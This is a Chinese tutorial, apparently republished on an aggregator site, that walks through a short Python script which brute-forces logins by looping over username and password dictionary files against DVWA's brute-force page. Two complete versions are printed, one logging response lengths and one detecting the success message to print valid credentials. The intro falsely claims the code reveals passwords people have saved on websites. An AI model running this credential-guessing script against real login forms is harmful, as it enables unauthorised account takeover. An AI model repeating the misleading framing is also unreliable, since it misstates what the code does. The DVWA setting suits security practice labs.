栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

简简单单几行Python代码就能暴力破解网站登录密码,真有这么强吗?

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

简简单单几行Python代码就能暴力破解网站登录密码,真有这么强吗?

前言

         你以为你各大网站自动保存的密码都只有你自己知道吗?其实想要知道你在网站上面保存的密码非常简单,只需要几行代码就能搞定,不信?那就来看看吧

关键代码解释

url指定url地址

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

header设置请求头

header = {    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',    'cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'}

payload设置请求参数

payload = {'username':username,'password':password,"Login":'Login'}

这一行的作用是作一次get请求,响应信息被变量Response接收

 Response = requests.get(url,params=payload,headers=header)

这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解

这种方式和burp的Intruder模块的Cluster bomb攻击方式一样

​​​​​​​

for admin in open("C:\Users\admin\documents\字典\账号.txt"):    for line in open("C:\Users\admin\documents\字典\密码.txt"):

然后把循环结果存放到csv文件里,用逗号分割数据

Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度

​​​​​​​

result = str(Response.status_code) + ',' + username + ','  + password + ',' + str(len(Response.content))f.write(result + 'n')
完整代码

方法一

登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

​​​​​​​

import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看header = {    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',    'cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}
f = open('result.csv','w')f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + 'n')for admin in open("C:\Users\admin\documents\字典\账号.txt"):    for line in open("C:\Users\admin\documents\字典\密码.txt"):        username = admin.strip()        password = line.strip()        payload = {'username':username,'password':password,"Login":'Login'}        Response = requests.get(url,params=payload,headers=header)        result = str(Response.status_code) + ',' + username + ','            + password + ',' + str(len(Response.content))        f.write(result + 'n')
print('n完成')

运行结果

运行


这就是脚本发送的数据包

查看结果

查看包长度与其他不同的数据,登录测试

方法二

这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里。另外,搜索公众号Java架构师技术后台回复“面试题”,获取一份惊喜礼包。

主要改动在第17到20行

​​​​​​​

import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看header = {    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',    'cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}
f = open('result.txt','w')for admin in open("C:\Users\admin\documents\字典\账号.txt"):    for line in open("C:\Users\admin\documents\字典\密码.txt"):        username = admin.strip()        password = line.strip()        payload = {'username':username,'password':password,"Login":'Login'}        Response = requests.get(url,params=payload,headers=header)        if not(Response.text.find('Welcome to the password protected area')==-1):            result = username + ':' + password            print(result)            f.write(result + 'n')            print('n完成')

运行结果

 这不就到手了吗?需要完整项目代码或思路的点这里获取

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/739112.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号